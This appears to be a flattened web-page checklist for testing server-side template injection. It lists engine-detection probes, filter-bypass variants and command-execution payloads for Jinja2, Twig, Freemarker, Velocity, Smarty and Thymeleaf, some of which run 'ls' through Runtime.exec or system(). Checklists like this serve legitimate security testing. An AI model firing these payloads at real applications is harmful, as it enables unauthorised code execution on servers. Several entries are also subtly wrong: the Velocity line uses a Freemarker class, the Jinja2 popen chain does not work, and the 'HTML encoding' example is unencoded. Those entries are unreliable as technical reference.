-
Initial Information Gathering
- Identify and map all endpoints that accept user input for template rendering.
- Review source code (if available) to understand template rendering mechanisms.
- Check for user inputs in templates, URLs, headers, and request bodies.
-
Basic SSTI Testing
- Test common SSTI payloads to identify template engine and injection points:
-
{{7*7}}
-
${7*7}
-
<%= 7 * 7 %>
-
#{7*7}
- Try injecting payloads in different user inputs (e.g., form fields, query parameters).
-
- Test common SSTI payloads to identify template engine and injection points:
-
Detecting Template Engines
- Identify the template engine by using specific payloads for known engines:
- Jinja2 (Python):
-
{{7*'7'}}
-
{{config.items()}}
-
- Twig (PHP):
-
{{7*7}}
-
{{_self.env.globals}}
-
- Freemarker (Java):
-
${7*7}
-
${"freemarker.template.utility.Execute"?new()}
-
<#assign ex = "freemarker.template.utility.Execute"?new()>
-
- Velocity (Java):
-
#set($x = 7 * 7)
-
$class.inspect("java.lang.Runtime").newInstance().exec("ls")
-
- Smarty (PHP):
-
{$smarty.version}
-
{if 7*7}
-
- Thymeleaf (Java):
-
${7*7}
-
th:text="${T(java.lang.Runtime).getRuntime().exec('ls')}"
-
- Jinja2 (Python):
- Identify the template engine by using specific payloads for known engines:
-
Payloads
- Test payloads that can bypass filters and restrictions:
-
{{7*'7'}}
-
${7*'7'}
-
<%= 7 * '7' %>
-
- Use concatenation to bypass filters:
{{7*('7')}}
,${7*('7')}
- Inject payloads in nested contexts to test for complex injections.
- Test payloads that can bypass filters and restrictions:
-
Exploiting SSTI
- Test for code execution:
- Python (Jinja2):
{{config.from_object('os').popen('ls').read()}}
- PHP (Twig):
{{_self.env.globals.system('ls')}}
- Java (Freemarker):
<#assign ex = "freemarker.template.utility.Execute"?new()> ${ex("ls")}
- Java (Velocity):
#set($x = "freemarker.template.utility.Execute") $x.new().exec("ls")
- PHP (Smarty):
{system('ls')}
- Java (Thymeleaf):
th:text="${T(java.lang.Runtime).getRuntime().exec('ls')}"
- Python (Jinja2):
- Test for code execution:
-
Bypassing Input Validation
- Test for input validation bypass using encoding and escaping:
- URL encoding:
%7B%7B7*7%7D%7D
- HTML encoding:
{{7*7}}
- URL encoding:
- Use different template syntax to bypass filters:
-
{{7*7}}
-
${7*7}
-
<%= 7 * 7 %>
-
- Test for input validation bypass using encoding and escaping:
-
Error Handling and Response Analysis
- Analyze server responses for clues about SSTI vulnerabilities.
- Look for error messages that disclose template engine details or execution errors.
- Verify if application stack traces are exposed in responses.